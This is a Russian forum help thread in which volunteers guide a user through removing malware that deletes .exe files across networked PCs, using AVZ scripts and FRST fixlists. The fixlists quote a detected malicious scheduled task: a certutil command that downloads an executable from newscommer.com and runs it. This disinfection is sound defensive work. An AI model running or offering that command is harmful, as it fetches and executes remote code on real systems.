Исчезают exe файлы разных программ на разных пк в сети [Rootkit.Win64.Agent.ayv, Trojan-Downloader.Win32.Bandit.vr ]

Это один из ПК из общей сети. Везде один и тот же вирус, который удаляет файлы *.exe. Где удалил файл для просмотра пдф файлов, где-то ПО для просмотра камер, где-то менеджер лицензий 1с ключа алладин. Где-то стоит каспер где-то нет...он ничего не находит...заранее спасибо за помощь!

Уважаемый(ая) [B]Алексей_Азов[/B], спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Выполните скрипт в AVZ из папки Autologger
[code]begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
ExecuteFile('schtasks.exe', '/delete /TN "csrss" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "lsa64" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "MRT" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "ScheduledUpdate" /F', 0, 15000, true);
QuarantineFile('C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe','');
SetServiceStart('WinDefender', 4);
SetServiceStart('Winmon', 4);
SetServiceStart('WinmonFS', 4);
SetServiceStart('WinmonProcessMonitor', 4);
TerminateProcessByName('c:\users\user\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe');
TerminateProcessByName('c:\windows\rss\csrss.exe');
TerminateProcessByName('c:\users\user\appdata\local\temp\csrss\lsa64.exe');
TerminateProcessByName('c:\users\user\appdata\local\temp\csrss\mrt.exe');
TerminateProcessByName('c:\windows\windefender.exe');
QuarantineFile('C:\Windows\System32\drivers\WinmonProcessMonitor.sys','');
QuarantineFile('C:\Windows\System32\drivers\WinmonFS.sys','');
QuarantineFile('C:\Windows\System32\drivers\Winmon.sys','');
QuarantineFile('c:\windows\windefender.exe','');
QuarantineFile('c:\users\user\appdata\local\temp\csrss\mrt.exe','');
QuarantineFile('c:\users\user\appdata\local\temp\csrss\lsa64.exe','');
QuarantineFile('c:\windows\rss\csrss.exe','');
QuarantineFile('c:\users\user\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe','');
DeleteFile('c:\users\user\appdata\roaming\epicnet inc\cloudnet\cloudnet.exe','32');
DeleteFile('c:\windows\rss\csrss.exe','32');
DeleteFile('c:\users\user\appdata\local\temp\csrss\lsa64.exe','32');
DeleteFile('c:\users\user\appdata\local\temp\csrss\mrt.exe','32');
DeleteFile('c:\windows\windefender.exe','32');
DeleteFile('C:\Windows\System32\drivers\Winmon.sys','32');
DeleteFile('C:\Windows\System32\drivers\WinmonFS.sys','32');
DeleteFile('C:\Windows\System32\drivers\WinmonProcessMonitor.sys','32');
DeleteFile('C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe','32');
DeleteService('WinmonProcessMonitor');
DeleteService('WinmonFS');
DeleteService('Winmon');
DeleteService('WinDefender');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','PatientShadow');
RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','CloudNet');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
ExecuteREpair(10);
RebootWindows(false);
end.[/code][list][*]Обратите внимание: будет выполнена [b]перезагрузка компьютера[/b].[/list]

Выполните скрипт в AVZ
[code]begin
CreateQurantineArchive('c:\quarantine.zip');
end.[/code][b]c:\quarantine.zip[/b] пришлите по красной ссылке [color="Red"][u][b]Прислать запрошенный карантин [/b][/u][/color] [b]над первым сообщением[/b] темы.

Скачайте [url=https://virusinfo.info/soft/tool.php?tool=ClearLNK]ClearLNK[/url] и сохраните архив с утилитой на Рабочем столе.
1. Распакуйте архив с утилитой в отдельную папку.
2. Перенесите [B]Check_Browsers_LNK.log[/B] из папки Autologger на ClearLNK как показано на рисунке
[img]https://dragokas.com/tools/move.gif[/img]
3. Отчет о работе [b]ClearLNK-<Дата>.log[/b] будет сохранен в папке [b]LOG[/b].
4. Прикрепите этот отчет к своему следующему сообщению.

[b][color="Red"]Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи. [/color][/b]

После выполнения скрипта и перезагрузки запустился eset антивирус. Выполнил все дальнейшие действия и всё сделал по инструкции. Спасибо.

Скачайте [url=https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/][b]Farbar Recovery Scan Tool[/b][/url] [img]https://i.imgur.com/NAAC5Ba.png[/img] и сохраните на Рабочем столе.
[list][*][b]Примечание[/b]: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.[/list]1. Запустите программу двойным щелчком. Когда программа запустится, нажмите [b]Yes[/b] для соглашения с предупреждением.
2. Убедитесь, что в окне [b]Optional Scan[/b] отмечены [i]List BCD[/i], [i]Driver MD5[/i] и [i]90 Days Files[/i].
[img]https://i.imgur.com/3munStB.png[/img]
3. Нажмите кнопку [b]Scan[/b].
4. После окончания сканирования будет создан отчет ([b]FRST.txt[/b]) в той же папке, откуда была запущена программа.
5. Если программа была запущена в первый раз, также будет создан отчет ([b]Addition.txt[/b]).
6. Отчеты, полученные в пунктах 4 и 5, заархивируйте (в [b]один архив[/b]) и прикрепите к сообщению.

все сделал, файлы приложил.

1. Откройте [b]Блокнот[/b] и скопируйте в него приведенный ниже текст
[code]
CreateRestorePoint:
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [PatientShadow] => C:\Windows\rss\csrss.exe [3097600 2018-08-02] () <==== ATTENTION
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [CloudNet] => C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2018-08-02] (EpicNet Inc.) <==== ATTENTION
R2 WinDefender; C:\Windows\windefender.exe [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 Winmon; C:\Windows\System32\drivers\Winmon.sys [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 WinmonFS; C:\Windows\System32\drivers\WinmonFS.sys [0 ] (Windows (R) Win 7 DDK provider) <==== ATTENTION (zero byte File/Folder)
R1 WinmonProcessMonitor; C:\Windows\System32\drivers\WinmonProcessMonitor.sys [36096 2018-07-20] () [File not signed] <==== ATTENTION
2018-08-02 08:51 - 2018-08-02 08:51 - 000003484 _____ C:\Windows\System32\Tasks\ScheduledUpdate
2018-08-02 08:51 - 2018-08-02 08:51 - 000003178 _____ C:\Windows\System32\Tasks\csrss
2018-07-20 15:51 - 2018-08-02 07:48 - 000026688 _____ C:\Users\Все пользователи\appdata.dat
2018-07-20 15:51 - 2018-08-02 07:48 - 000026688 _____ C:\ProgramData\appdata.dat
2018-07-20 15:36 - 2018-07-20 15:36 - 000000000 ____D C:\Users\User\AppData\Roaming\EpicNet Inc
2018-07-20 15:51 - 2018-08-01 17:08 - 000000001 _____ () C:\Users\User\AppData\Roaming\lsa64.log
C:\Windows\rss\csrss.exe
C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe
Task: {5D544C52-10F3-4307-80F9-990456DDEA9C} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2018-08-02] () <==== ATTENTION
Task: {A46BA8F7-C558-46A8-9EE3-093E192AA578} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://newscommer.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe
Reboot:
[/code]
2. Нажмите [b]Файл[/b] – [b]Сохранить как[/b]
3. Выберите папку, откуда была запущена утилита [b]Farbar Recovery Scan Tool[/b]
4. Укажите [b]Тип файла[/b] – [b]Все файлы (*.*)[/b]
5. Введите имя файла [b]fixlist.txt[/b] и нажмите кнопку [b]Сохранить[/b]
6. Запустите FRST, нажмите один раз на кнопку [b]Fix[/b] и подождите. Программа создаст лог-файл ([b]Fixlog.txt[/b]). Пожалуйста, прикрепите его в следующем сообщении.
[list][*]Обратите внимание: будет выполнена [b]перезагрузка компьютера[/b].[/list]

готово...

Что с проблемой?

К сожалению проблема сохраняется...переустановили ПО для просмотра видео, спустя несколько часов исполнительный файл *.exe исчез...
Винда пишет, что ярлык ссылается на не существующую программу.

Делайте логи с других машин и прикрепляйте в отдельные темы.

Сделайте лог [url="https://virusinfo.info/showthread.php?t=218706&p=1480220&viewfull=1#post1480220"]МВАМ[/url]

Снова перестал запускаться eset. Mbam не запускается, что пишет видно на скрине.

Не запускается MBAM. Eset перестал запускаться снова. Скриншот с ошибкой запуска mbam во вложении.

Новый лог FRST.txt сделайте

готово...

А зачем присылать старый лог, если я просил сделать новый?

переделал...

TeamViewer 12 Host сами устанавливали?

CloudNet удалите через Установку программ.


1. Откройте [b]Блокнот[/b] и скопируйте в него приведенный ниже текст
[code]
CreateRestorePoint:
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [PatientShadow] => C:\Windows\rss\csrss.exe [3132928 2018-08-06] () <==== ATTENTION
HKU\S-1-5-21-663189659-2337478190-1631429109-1000\...\Run: [CloudNet] => C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe [683008 2018-08-06] (EpicNet Inc.) <==== ATTENTION
S2 TeamViewer; "C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe" [X]
R2 WinDefender; C:\Windows\windefender.exe [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 Winmon; C:\Windows\System32\drivers\Winmon.sys [0 ] () <==== ATTENTION (zero byte File/Folder)
R3 WinmonFS; C:\Windows\System32\drivers\WinmonFS.sys [0 ] (Windows (R) Win 7 DDK provider) <==== ATTENTION (zero byte File/Folder)
R1 WinmonProcessMonitor; C:\Windows\System32\drivers\WinmonProcessMonitor.sys [36096 2018-07-20] () [File not signed] <==== ATTENTION
2018-08-06 12:30 - 2018-08-06 12:30 - 000000000 ____D C:\Users\User\AppData\Roaming\EpicNet Inc
2018-08-06 12:29 - 2018-08-06 12:29 - 000003484 _____ C:\Windows\System32\Tasks\ScheduledUpdate
2018-08-06 12:29 - 2018-08-06 12:29 - 000003178 _____ C:\Windows\System32\Tasks\csrss
C:\Windows\rss\csrss.exe
C:\Users\User\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe
Task: {3F583F37-E282-463B-AB38-C31FB25AD9CF} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2018-08-06] () <==== ATTENTION
Task: {64236FFF-4F8E-4035-AC02-5A57D86353BA} - System32\Tasks\MRT => C:\Users\User\AppData\Local\Temp\csrss\mrt.exe [2018-08-02] () <==== ATTENTION
Task: {BE8FC6A8-C0AE-474F-9F28-78536D06B624} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://newscommer.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
C:\Users\User\AppData\Local\Temp\csrss
Task: {CD1C6A2A-40C8-4D52-88F5-8935A044BEF1} - System32\Tasks\csrss => C:\Windows\rss\csrss.exe [2018-08-06] () <==== ATTENTION
Task: {DB8F8B8A-0AD9-4F17-A334-AD86E82D27C1} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://newscommer.com/app/app.exe C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\User\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
Reboot:
[/code]
2. Нажмите [b]Файл[/b] – [b]Сохранить как[/b]
3. Выберите папку, откуда была запущена утилита [b]Farbar Recovery Scan Tool[/b]
4. Укажите [b]Тип файла[/b] – [b]Все файлы (*.*)[/b]
5. Введите имя файла [b]fixlist.txt[/b] и нажмите кнопку [b]Сохранить[/b]
6. Запустите FRST, нажмите один раз на кнопку [b]Fix[/b] и подождите. Программа создаст лог-файл ([b]Fixlog.txt[/b]). Пожалуйста, прикрепите его в следующем сообщении.
[list][*]Обратите внимание: будет выполнена [b]перезагрузка компьютера[/b].[/list]

Да тим я ставил...во вложении новый лог...

Что с проблемой?

Я просил Вас заняться и созданием тем с логами других компьютеров в сети, на которых хозяйничают подобные вирусы. Чего ждете-то?